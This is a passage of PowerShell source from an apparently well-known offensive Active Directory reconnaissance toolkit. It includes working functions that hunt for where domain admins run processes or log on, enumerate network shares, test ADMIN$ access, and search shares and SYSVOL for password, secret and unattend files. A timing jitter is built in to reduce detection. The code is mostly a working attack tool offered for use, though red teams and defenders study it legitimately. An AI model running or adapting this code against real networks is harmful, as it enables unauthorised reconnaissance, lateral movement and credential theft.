[Parameter(Position=0,ValueFromPipeline=$True)]

[Alias('Hosts')]

[String[]]

$ComputerName,

[ValidateScript({Test-Path -Path $\_ })]

[Alias('HostList')]

[String]

$ComputerFile,

[String]

$ComputerFilter,

[String]

$ComputerADSpath,

[String]

$GroupName = 'Domain Admins',

[String]

$TargetServer,

[String]

$UserName,

[String]

$UserFilter,

[String]

$UserADSpath,

[ValidateScript({Test-Path -Path $\_ })]

[String]

$UserFile,

[Switch]

$CheckAccess,

[Switch]

$StopOnSuccess,

[Switch]

$NoPing,

[UInt32]

$Delay = 0,

[Double]

$Jitter = .3,

[String]

$Domain,

[Switch]

$ShowAll,

[Switch]

$SearchForest,

[String]

[ValidateSet("DFS","DC","File","All")]

$StealthSource ="All"

)

# kick off Invoke-UserHunter with stealth options

Invoke-UserHunter -Stealth @PSBoundParameters

}

function Invoke-ProcessHunter {

<#

.SYNOPSIS

Query the process lists of remote machines, searching for

processes with a specific name or owned by a specific user.

Thanks to @paulbrandau for the approach idea.

Author: @harmj0y

License: BSD 3-Clause

.PARAMETER ComputerName

Host array to enumerate, passable on the pipeline.

.PARAMETER ComputerFile

File of hostnames/IPs to search.

.PARAMETER ComputerFilter

Host filter name to query AD for, wildcards accepted.

.PARAMETER ComputerADSpath

The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER ProcessName

The name of the process to hunt, or a comma separated list of names.

.PARAMETER GroupName

Group name to query for target users.

.PARAMETER TargetServer

Hunt for users who are effective local admins on a target server.

.PARAMETER UserName

Specific username to search for.

.PARAMETER UserFilter

A customized ldap filter string to use for user enumeration, e.g. "(description=\*admin\*)"

.PARAMETER UserADSpath

The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER UserFile

File of usernames to search for.

.PARAMETER StopOnSuccess

Switch. Stop hunting after finding after finding a target user/process.

.PARAMETER NoPing

Switch. Don't ping each host to ensure it's up before enumerating.

.PARAMETER Delay

Delay between enumerating hosts, defaults to 0

.PARAMETER Jitter

Jitter for the host delay, defaults to +/- 0.3

.PARAMETER Domain

Domain for query for machines, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ShowAll

Switch. Return all user location results.

.PARAMETER SearchForest

Switch. Search all domains in the forest for target users instead of just

a single domain.

.PARAMETER Threads

The maximum concurrent threads to execute.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target machine/domain.

.EXAMPLE

PS C:\> Invoke-ProcessHunter -Domain 'testing'

Finds machines on the 'testing' domain where domain admins have a

running process.

.EXAMPLE

PS C:\> Invoke-ProcessHunter -Threads 20

Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded.

.EXAMPLE

PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt

Finds machines in hosts.txt where any members of users.txt have running

processes.

.EXAMPLE

PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60

Find machines on the domain where members of the "Power Users" groups have

running processes with a 60 second (+/- \*.3) randomized delay between

touching each host.

.LINK

http://blog.harmj0y.net

#>

[CmdletBinding()]

param(

[Parameter(Position=0,ValueFromPipeline=$True)]

[Alias('Hosts')]

[String[]]

$ComputerName,

[ValidateScript({Test-Path -Path $\_ })]

[Alias('HostList')]

[String]

$ComputerFile,

[String]

$ComputerFilter,

[String]

$ComputerADSpath,

[String]

$ProcessName,

[String]

$GroupName = 'Domain Admins',

[String]

$TargetServer,

[String]

$UserName,

[String]

$UserFilter,

[String]

$UserADSpath,

[ValidateScript({Test-Path -Path $\_ })]

[String]

$UserFile,

[Switch]

$StopOnSuccess,

[Switch]

$NoPing,

[UInt32]

$Delay = 0,

[Double]

$Jitter = .3,

[String]

$Domain,

[String]

$DomainController,

[Switch]

$ShowAll,

[Switch]

$SearchForest,

[ValidateRange(1,100)]

[Int]

$Threads,

[Management.Automation.PSCredential]

$Credential

)

begin {

if ($PSBoundParameters['Debug']) {

$DebugPreference = 'Continue'

}

# random object for delay

$RandNo = New-Object System.Random

Write-Verbose "[\*] Running Invoke-ProcessHunter with delay of $Delay"

#####################################################

#

# First we build the host target set

#

#####################################################

# if we're using a host list, read the targets in and add them to the target list

if($ComputerFile) {

$ComputerName = Get-Content -Path $ComputerFile

}

if(!$ComputerName) {

[array]$ComputerName = @()

if($Domain) {

$TargetDomains = @($Domain)

}

elseif($SearchForest) {

# get ALL the domains in the forest to search

$TargetDomains = Get-NetForestDomain -DomainController $DomainController -Credential $Credential | ForEach-Object { $\_.Name }

}

else {

# use the local domain

$TargetDomains = @( (Get-NetDomain -Domain $Domain -Credential $Credential).name )

}

ForEach ($Domain in $TargetDomains) {

Write-Verbose "[\*] Querying domain $Domain for hosts"

$ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath

}

# remove any null target hosts, uniquify the list and shuffle it

$ComputerName = $ComputerName | Where-Object { $\_ } | Sort-Object -Unique | Sort-Object { Get-Random }

if($($ComputerName.Count) -eq 0) {

throw "No hosts found!"

}

}

#####################################################

#

# Now we build the user target set

#

#####################################################

if(!$ProcessName) {

Write-Verbose "No process name specified, building a target user set"

# users we're going to be searching for

$TargetUsers = @()

# if we want to hunt for the effective domain users who can access a target server

if($TargetServer) {

Write-Verbose "Querying target server '$TargetServer' for local users"

$TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $\_.IsGroup) -and $\_.IsDomain } | ForEach-Object {

($\_.AccountName).split("/")[1].toLower()

} | Where-Object {$\_}

}

# if we get a specific username, only use that

elseif($UserName) {

Write-Verbose "[\*] Using target user '$UserName'..."

$TargetUsers = @( $UserName.ToLower() )

}

# read in a target user list if we have one

elseif($UserFile) {

$TargetUsers = Get-Content -Path $UserFile | Where-Object {$\_}

}

elseif($UserADSpath -or $UserFilter) {

ForEach ($Domain in $TargetDomains) {

Write-Verbose "[\*] Querying domain $Domain for users"

$TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {

$\_.samaccountname

} | Where-Object {$\_}

}

}

else {

ForEach ($Domain in $TargetDomains) {

Write-Verbose "[\*] Querying domain $Domain for users of group '$GroupName'"

$TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential| ForEach-Object {

$\_.MemberName

}

}

}

if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {

throw "[!] No users found to search for!"

}

}

# script block that enumerates a server

$HostEnumBlock = {

param($ComputerName, $Ping, $ProcessName, $TargetUsers, $Credential)

# optionally check if the server is up first

$Up = $True

if($Ping) {

$Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName

}

if($Up) {

# try to enumerate all active processes on the remote host

# and search for a specific process name

$Processes = Get-NetProcess -Credential $Credential -ComputerName $ComputerName -ErrorAction SilentlyContinue

ForEach ($Process in $Processes) {

# if we're hunting for a process name or comma-separated names

if($ProcessName) {

$ProcessName.split(",") | ForEach-Object {

if ($Process.ProcessName -match $\_) {

$Process

}

}

}

# if the session user is in the target list, display some output

elseif ($TargetUsers -contains $Process.User) {

$Process

}

}

}

}

}

process {

if($Threads) {

Write-Verbose "Using threading with threads = $Threads"

# if we're using threading, kick off the script block with Invoke-ThreadedFunction

$ScriptParams = @{

'Ping' = $(-not $NoPing)

'ProcessName' = $ProcessName

'TargetUsers' = $TargetUsers

'Credential' = $Credential

}

# kick off the threaded script block + arguments

Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads

}

else {

if(-not $NoPing -and ($ComputerName.count -ne 1)) {

# ping all hosts in parallel

$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}

$ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100

}

Write-Verbose "[\*] Total number of active hosts: $($ComputerName.count)"

$Counter = 0

ForEach ($Computer in $ComputerName) {

$Counter = $Counter + 1

# sleep for our semi-randomized interval

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)\*$Delay, (1+$Jitter)\*$Delay)

Write-Verbose "[\*] Enumerating server $Computer ($Counter of $($ComputerName.count))"

$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $Credential

$Result

if($Result -and $StopOnSuccess) {

Write-Verbose "[\*] Target user/process found, returning early"

return

}

}

}

}

}

function Invoke-EventHunter {

<#

.SYNOPSIS

Queries all domain controllers on the network for account

logon events (ID 4624) and TGT request events (ID 4768),

searching for target users.

Note: Domain Admin (or equiv) rights are needed to query

this information from the DCs.

Author: @sixdub, @harmj0y

License: BSD 3-Clause

.PARAMETER ComputerName

Host array to enumerate, passable on the pipeline.

.PARAMETER ComputerFile

File of hostnames/IPs to search.

.PARAMETER ComputerFilter

Host filter name to query AD for, wildcards accepted.

.PARAMETER ComputerADSpath

The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER GroupName

Group name to query for target users.

.PARAMETER TargetServer

Hunt for users who are effective local admins on a target server.

.PARAMETER UserName

Specific username to search for.

.PARAMETER UserFilter

A customized ldap filter string to use for user enumeration, e.g. "(description=\*admin\*)"

.PARAMETER UserADSpath

The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER UserFile

File of usernames to search for.

.PARAMETER NoPing

Don't ping each host to ensure it's up before enumerating.

.PARAMETER Domain

Domain for query for machines, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER SearchDays

Number of days back to search logs for. Default 3.

.PARAMETER SearchForest

Switch. Search all domains in the forest for target users instead of just

a single domain.

.PARAMETER Threads

The maximum concurrent threads to execute.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

PS C:\> Invoke-EventHunter

.LINK

http://blog.harmj0y.net

#>

[CmdletBinding()]

param(

[Parameter(Position=0,ValueFromPipeline=$True)]

[Alias('Hosts')]

[String[]]

$ComputerName,

[ValidateScript({Test-Path -Path $\_ })]

[Alias('HostList')]

[String]

$ComputerFile,

[String]

$ComputerFilter,

[String]

$ComputerADSpath,

[String]

$GroupName = 'Domain Admins',

[String]

$TargetServer,

[String[]]

$UserName,

[String]

$UserFilter,

[String]

$UserADSpath,

[ValidateScript({Test-Path -Path $\_ })]

[String]

$UserFile,

[String]

$Domain,

[String]

$DomainController,

[Int32]

$SearchDays = 3,

[Switch]

$SearchForest,

[ValidateRange(1,100)]

[Int]

$Threads,

[Management.Automation.PSCredential]

$Credential

)

begin {

if ($PSBoundParameters['Debug']) {

$DebugPreference = 'Continue'

}

# random object for delay

$RandNo = New-Object System.Random

Write-Verbose "[\*] Running Invoke-EventHunter"

if($Domain) {

$TargetDomains = @($Domain)

}

elseif($SearchForest) {

# get ALL the domains in the forest to search

$TargetDomains = Get-NetForestDomain | ForEach-Object { $\_.Name }

}

else {

# use the local domain

$TargetDomains = @( (Get-NetDomain -Credential $Credential).name )

}

#####################################################

#

# First we build the host target set

#

#####################################################

if(!$ComputerName) {

# if we're using a host list, read the targets in and add them to the target list

if($ComputerFile) {

$ComputerName = Get-Content -Path $ComputerFile

}

elseif($ComputerFilter -or $ComputerADSpath) {

[array]$ComputerName = @()

ForEach ($Domain in $TargetDomains) {

Write-Verbose "[\*] Querying domain $Domain for hosts"

$ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter $ComputerFilter -ADSpath $ComputerADSpath

}

}

else {

# if a computer specifier isn't given, try to enumerate all domain controllers

[array]$ComputerName = @()

ForEach ($Domain in $TargetDomains) {

Write-Verbose "[\*] Querying domain $Domain for domain controllers"

$ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object { $\_.dnshostname}

}

}

# remove any null target hosts, uniquify the list and shuffle it

$ComputerName = $ComputerName | Where-Object { $\_ } | Sort-Object -Unique | Sort-Object { Get-Random }

if($($ComputerName.Count) -eq 0) {

throw "No hosts found!"

}

}

#####################################################

#

# Now we build the user target set

#

#####################################################

# users we're going to be searching for

$TargetUsers = @()

# if we want to hunt for the effective domain users who can access a target server

if($TargetServer) {

Write-Verbose "Querying target server '$TargetServer' for local users"

$TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $\_.IsGroup) -and $\_.IsDomain } | ForEach-Object {

($\_.AccountName).split("/")[1].toLower()

} | Where-Object {$\_}

}

# if we get a specific username, only use that

elseif($UserName) {

# Write-Verbose "[\*] Using target user '$UserName'..."

$TargetUsers = $UserName | ForEach-Object {$\_.ToLower()}

if($TargetUsers -isnot [System.Array]) {

$TargetUsers = @($TargetUsers)

}

}

# read in a target user list if we have one

elseif($UserFile) {

$TargetUsers = Get-Content -Path $UserFile | Where-Object {$\_}

}

elseif($UserADSpath -or $UserFilter) {

ForEach ($Domain in $TargetDomains) {

Write-Verbose "[\*] Querying domain $Domain for users"

$TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object {

$\_.samaccountname

} | Where-Object {$\_}

}

}

else {

ForEach ($Domain in $TargetDomains) {

Write-Verbose "[\*] Querying domain $Domain for users of group '$GroupName'"

$TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential | ForEach-Object {

$\_.MemberName

}

}

}

if (((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) {

throw "[!] No users found to search for!"

}

# script block that enumerates a server

$HostEnumBlock = {

param($ComputerName, $Ping, $TargetUsers, $SearchDays, $Credential)

# optionally check if the server is up first

$Up = $True

if($Ping) {

$Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName

}

if($Up) {

# try to enumerate

if($Credential) {

Get-UserEvent -ComputerName $ComputerName -Credential $Credential -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {

# filter for the target user set

$TargetUsers -contains $\_.UserName

}

}

else {

Get-UserEvent -ComputerName $ComputerName -EventType 'all' -DateStart ([DateTime]::Today.AddDays(-$SearchDays)) | Where-Object {

# filter for the target user set

$TargetUsers -contains $\_.UserName

}

}

}

}

}

process {

if($Threads) {

Write-Verbose "Using threading with threads = $Threads"

# if we're using threading, kick off the script block with Invoke-ThreadedFunction

$ScriptParams = @{

'Ping' = $(-not $NoPing)

'TargetUsers' = $TargetUsers

'SearchDays' = $SearchDays

'Credential' = $Credential

}

# kick off the threaded script block + arguments

Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads

}

else {

if(-not $NoPing -and ($ComputerName.count -ne 1)) {

# ping all hosts in parallel

$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}

$ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100

}

Write-Verbose "[\*] Total number of active hosts: $($ComputerName.count)"

$Counter = 0

ForEach ($Computer in $ComputerName) {

$Counter = $Counter + 1

# sleep for our semi-randomized interval

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)\*$Delay, (1+$Jitter)\*$Delay)

Write-Verbose "[\*] Enumerating server $Computer ($Counter of $($ComputerName.count))"

Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $(-not $NoPing), $TargetUsers, $SearchDays, $Credential

}

}

}

}

function Invoke-ShareFinder {

<#

.SYNOPSIS

This function finds the local domain name for a host using Get-NetDomain,

queries the domain for all active machines with Get-NetComputer, then for

each server it lists of active shares with Get-NetShare. Non-standard shares

can be filtered out with -Exclude\* flags.

Author: @harmj0y

License: BSD 3-Clause

.PARAMETER ComputerName

Host array to enumerate, passable on the pipeline.

.PARAMETER ComputerFile

File of hostnames/IPs to search.

.PARAMETER ComputerFilter

Host filter name to query AD for, wildcards accepted.

.PARAMETER ComputerADSpath

The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER ExcludeStandard

Switch. Exclude standard shares from display (C$, IPC$, print$ etc.)

.PARAMETER ExcludePrint

Switch. Exclude the print$ share.

.PARAMETER ExcludeIPC

Switch. Exclude the IPC$ share.

.PARAMETER CheckShareAccess

Switch. Only display found shares that the local user has access to.

.PARAMETER CheckAdmin

Switch. Only display ADMIN$ shares the local user has access to.

.PARAMETER NoPing

Switch. Don't ping each host to ensure it's up before enumerating.

.PARAMETER Delay

Delay between enumerating hosts, defaults to 0.

.PARAMETER Jitter

Jitter for the host delay, defaults to +/- 0.3.

.PARAMETER Domain

Domain to query for machines, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER SearchForest

Switch. Search all domains in the forest for target users instead of just

a single domain.

.PARAMETER Threads

The maximum concurrent threads to execute.

.EXAMPLE

PS C:\> Invoke-ShareFinder -ExcludeStandard

Find non-standard shares on the domain.

.EXAMPLE

PS C:\> Invoke-ShareFinder -Threads 20

Multi-threaded share finding, replaces Invoke-ShareFinderThreaded.

.EXAMPLE

PS C:\> Invoke-ShareFinder -Delay 60

Find shares on the domain with a 60 second (+/- \*.3)

randomized delay between touching each host.

.EXAMPLE

PS C:\> Invoke-ShareFinder -ComputerFile hosts.txt

Find shares for machines in the specified hosts file.

.LINK

http://blog.harmj0y.net

#>

[CmdletBinding()]

param(

[Parameter(Position=0,ValueFromPipeline=$True)]

[Alias('Hosts')]

[String[]]

$ComputerName,

[ValidateScript({Test-Path -Path $\_ })]

[Alias('HostList')]

[String]

$ComputerFile,

[String]

$ComputerFilter,

[String]

$ComputerADSpath,

[Switch]

$ExcludeStandard,

[Switch]

$ExcludePrint,

[Switch]

$ExcludeIPC,

[Switch]

$NoPing,

[Switch]

$CheckShareAccess,

[Switch]

$CheckAdmin,

[UInt32]

$Delay = 0,

[Double]

$Jitter = .3,

[String]

$Domain,

[String]

$DomainController,

[Switch]

$SearchForest,

[ValidateRange(1,100)]

[Int]

$Threads

)

begin {

if ($PSBoundParameters['Debug']) {

$DebugPreference = 'Continue'

}

# random object for delay

$RandNo = New-Object System.Random

Write-Verbose "[\*] Running Invoke-ShareFinder with delay of $Delay"

# figure out the shares we want to ignore

[String[]] $ExcludedShares = @('')

if ($ExcludePrint) {

$ExcludedShares = $ExcludedShares + "PRINT$"

}

if ($ExcludeIPC) {

$ExcludedShares = $ExcludedShares + "IPC$"

}

if ($ExcludeStandard) {

$ExcludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$")

}

# if we're using a host file list, read the targets in and add them to the target list

if($ComputerFile) {

$ComputerName = Get-Content -Path $ComputerFile

}

if(!$ComputerName) {

[array]$ComputerName = @()

if($Domain) {

$TargetDomains = @($Domain)

}

elseif($SearchForest) {

# get ALL the domains in the forest to search

$TargetDomains = Get-NetForestDomain | ForEach-Object { $\_.Name }

}

else {

# use the local domain

$TargetDomains = @( (Get-NetDomain).name )

}

ForEach ($Domain in $TargetDomains) {

Write-Verbose "[\*] Querying domain $Domain for hosts"

$ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath

}

# remove any null target hosts, uniquify the list and shuffle it

$ComputerName = $ComputerName | Where-Object { $\_ } | Sort-Object -Unique | Sort-Object { Get-Random }

if($($ComputerName.count) -eq 0) {

throw "No hosts found!"

}

}

# script block that enumerates a server

$HostEnumBlock = {

param($ComputerName, $Ping, $CheckShareAccess, $ExcludedShares, $CheckAdmin)

# optionally check if the server is up first

$Up = $True

if($Ping) {

$Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName

}

if($Up) {

# get the shares for this host and check what we find

$Shares = Get-NetShare -ComputerName $ComputerName

ForEach ($Share in $Shares) {

Write-Verbose "[\*] Server share: $Share"

$NetName = $Share.shi1\_netname

$Remark = $Share.shi1\_remark

$Path = '\\'+$ComputerName+'\'+$NetName

# make sure we get a real share name back

if (($NetName) -and ($NetName.trim() -ne '')) {

# if we're just checking for access to ADMIN$

if($CheckAdmin) {

if($NetName.ToUpper() -eq "ADMIN$") {

try {

$Null = [IO.Directory]::GetFiles($Path)

"\\$ComputerName\$NetName `t- $Remark"

}

catch {

Write-Verbose "Error accessing path $Path : $\_"

}

}

}

# skip this share if it's in the exclude list

elseif ($ExcludedShares -NotContains $NetName.ToUpper()) {

# see if we want to check access to this share

if($CheckShareAccess) {

# check if the user has access to this path

try {

$Null = [IO.Directory]::GetFiles($Path)

"\\$ComputerName\$NetName `t- $Remark"

}

catch {

Write-Verbose "Error accessing path $Path : $\_"

}

}

else {

"\\$ComputerName\$NetName `t- $Remark"

}

}

}

}

}

}

}

process {

if($Threads) {

Write-Verbose "Using threading with threads = $Threads"

# if we're using threading, kick off the script block with Invoke-ThreadedFunction

$ScriptParams = @{

'Ping' = $(-not $NoPing)

'CheckShareAccess' = $CheckShareAccess

'ExcludedShares' = $ExcludedShares

'CheckAdmin' = $CheckAdmin

}

# kick off the threaded script block + arguments

Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads

}

else {

if(-not $NoPing -and ($ComputerName.count -ne 1)) {

# ping all hosts in parallel

$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}

$ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100

}

Write-Verbose "[\*] Total number of active hosts: $($ComputerName.count)"

$Counter = 0

ForEach ($Computer in $ComputerName) {

$Counter = $Counter + 1

# sleep for our semi-randomized interval

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)\*$Delay, (1+$Jitter)\*$Delay)

Write-Verbose "[\*] Enumerating server $Computer ($Counter of $($ComputerName.count))"

Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $CheckShareAccess, $ExcludedShares, $CheckAdmin

}

}

}

}

function Invoke-FileFinder {

<#

.SYNOPSIS

Finds sensitive files on the domain.

Author: @harmj0y

License: BSD 3-Clause

.DESCRIPTION

This function finds the local domain name for a host using Get-NetDomain,

queries the domain for all active machines with Get-NetComputer, grabs

the readable shares for each server, and recursively searches every

share for files with specific keywords in the name.

If a share list is passed, EVERY share is enumerated regardless of

other options.

.PARAMETER ComputerName

Host array to enumerate, passable on the pipeline.

.PARAMETER ComputerFile

File of hostnames/IPs to search.

.PARAMETER ComputerFilter

Host filter name to query AD for, wildcards accepted.

.PARAMETER ComputerADSpath

The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER ShareList

List if \\HOST\shares to search through.

.PARAMETER Terms

Terms to search for.

.PARAMETER OfficeDocs

Switch. Search for office documents (\*.doc\*, \*.xls\*, \*.ppt\*)

.PARAMETER FreshEXEs

Switch. Find .EXEs accessed within the last week.

.PARAMETER LastAccessTime

Only return files with a LastAccessTime greater than this date value.

.PARAMETER LastWriteTime

Only return files with a LastWriteTime greater than this date value.

.PARAMETER CreationTime

Only return files with a CreationDate greater than this date value.

.PARAMETER IncludeC

Switch. Include any C$ shares in recursive searching (default ignore).

.PARAMETER IncludeAdmin

Switch. Include any ADMIN$ shares in recursive searching (default ignore).

.PARAMETER ExcludeFolders

Switch. Exclude folders from the search results.

.PARAMETER ExcludeHidden

Switch. Exclude hidden files and folders from the search results.

.PARAMETER CheckWriteAccess

Switch. Only returns files the current user has write access to.

.PARAMETER OutFile

Output results to a specified csv output file.

.PARAMETER NoClobber

Switch. Don't overwrite any existing output file.

.PARAMETER NoPing

Switch. Don't ping each host to ensure it's up before enumerating.

.PARAMETER Delay

Delay between enumerating hosts, defaults to 0

.PARAMETER Jitter

Jitter for the host delay, defaults to +/- 0.3

.PARAMETER Domain

Domain to query for machines, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER SearchForest

Search all domains in the forest for target users instead of just

a single domain.

.PARAMETER SearchSYSVOL

Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain.

.PARAMETER Threads

The maximum concurrent threads to execute.

.PARAMETER UsePSDrive

Switch. Mount target remote path with temporary PSDrives.

.EXAMPLE

PS C:\> Invoke-FileFinder

Find readable files on the domain with 'pass', 'sensitive',

'secret', 'admin', 'login', or 'unattend\*.xml' in the name,

.EXAMPLE

PS C:\> Invoke-FileFinder -Domain testing

Find readable files on the 'testing' domain with 'pass', 'sensitive',

'secret', 'admin', 'login', or 'unattend\*.xml' in the name,

.EXAMPLE

PS C:\> Invoke-FileFinder -IncludeC

Find readable files on the domain with 'pass', 'sensitive',

'secret', 'admin', 'login' or 'unattend\*.xml' in the name,

including C$ shares.

.EXAMPLE

PS C:\> Invoke-FileFinder -ShareList shares.txt -Terms accounts,ssn -OutFile out.csv

Enumerate a specified share list for files with 'accounts' or

'ssn' in the name, and write everything to "out.csv"

.LINK

http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/

#>

[CmdletBinding()]

param(

[Parameter(Position=0,ValueFromPipeline=$True)]

[Alias('Hosts')]

[String[]]

$ComputerName,

[ValidateScript({Test-Path -Path $\_ })]

[Alias('HostList')]

[String]

$ComputerFile,

[String]

$ComputerFilter,

[String]

$ComputerADSpath,

[ValidateScript({Test-Path -Path $\_ })]

[String]

$ShareList,

[Switch]

$OfficeDocs,

[Switch]

$FreshEXEs,

[Alias('Terms')]

[String[]]

$SearchTerms,

[ValidateScript({Test-Path -Path $\_ })]

[String]

$TermList,

[String]

$LastAccessTime,

[String]

$LastWriteTime,

[String]

$CreationTime,

[Switch]

$IncludeC,

[Switch]

$IncludeAdmin,

[Switch]

$ExcludeFolders,

[Switch]

$ExcludeHidden,

[Switch]

$CheckWriteAccess,

[String]

$OutFile,

[Switch]

$NoClobber,

[Switch]

$NoPing,

[UInt32]

$Delay = 0,

[Double]

$Jitter = .3,

[String]

$Domain,

[String]

$DomainController,

[Switch]

$SearchForest,

[Switch]

$SearchSYSVOL,

[ValidateRange(1,100)]

[Int]

$Threads,

[Switch]

$UsePSDrive

)

begin {

if ($PSBoundParameters['Debug']) {

$DebugPreference = 'Continue'

}

# random object for delay

$RandNo = New-Object System.Random

Write-Verbose "[\*] Running Invoke-FileFinder with delay of $Delay"

$Shares = @()

# figure out the shares we want to ignore

[String[]] $ExcludedShares = @("C$", "ADMIN$")

# see if we're specifically including any of the normally excluded sets

if ($IncludeC) {

if ($IncludeAdmin) {

$ExcludedShares = @()

}

else {

$ExcludedShares = @("ADMIN$")

}

}

if ($IncludeAdmin) {

if ($IncludeC) {

$ExcludedShares = @()

}

else {

$ExcludedShares = @("C$")

}

}

# delete any existing output file if it already exists

if(!$NoClobber) {

if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile }

}

# if there's a set of terms specified to search for

if ($TermList) {

ForEach ($Term in Get-Content -Path $TermList) {

if (($Term -ne $Null) -and ($Term.trim() -ne '')) {

$SearchTerms += $Term

}

}

}

# if we're hard-passed a set of shares

if($ShareList) {

ForEach ($Item in Get-Content -Path $ShareList) {

if (($Item -ne $Null) -and ($Item.trim() -ne '')) {

# exclude any "[tab]- commants", i.e. the output from Invoke-ShareFinder

$Share = $Item.Split("`t")[0]

$Shares += $Share

}

}

}

else {

# if we're using a host file list, read the targets in and add them to the target list

if($ComputerFile) {

$ComputerName = Get-Content -Path $ComputerFile

}

if(!$ComputerName) {

if($Domain) {

$TargetDomains = @($Domain)

}

elseif($SearchForest) {

# get ALL the domains in the forest to search

$TargetDomains = Get-NetForestDomain | ForEach-Object { $\_.Name }

}

else {

# use the local domain

$TargetDomains = @( (Get-NetDomain).name )

}

if($SearchSYSVOL) {

ForEach ($Domain in $TargetDomains) {

$DCSearchPath = "\\$Domain\SYSVOL\"

Write-Verbose "[\*] Adding share search path $DCSearchPath"

$Shares += $DCSearchPath

}

if(!$SearchTerms) {

# search for interesting scripts on SYSVOL

$SearchTerms = @('.vbs', '.bat', '.ps1')

}

}

else {

[array]$ComputerName = @()

ForEach ($Domain in $TargetDomains) {

Write-Verbose "[\*] Querying domain $Domain for hosts"

$ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController

}

# remove any null target hosts, uniquify the list and shuffle it

$ComputerName = $ComputerName | Where-Object { $\_ } | Sort-Object -Unique | Sort-Object { Get-Random }

if($($ComputerName.Count) -eq 0) {

throw "No hosts found!"

}

}

}

}

# script block that enumerates shares and files on a server

$HostEnumBlock = {

param($ComputerName, $Ping, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive)

Write-Verbose "ComputerName: $ComputerName"

Write-Verbose "ExcludedShares: $ExcludedShares"

$SearchShares = @()

if($ComputerName.StartsWith("\\")) {

# if a share is passed as the server

$SearchShares += $ComputerName

}

else {

# if we're enumerating the shares on the target server first

$Up = $True

if($Ping) {

$Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName

}

if($Up) {

# get the shares for this host and display what we find

$Shares = Get-NetShare -ComputerName $ComputerName

ForEach ($Share in $Shares) {

$NetName = $Share.shi1\_netname

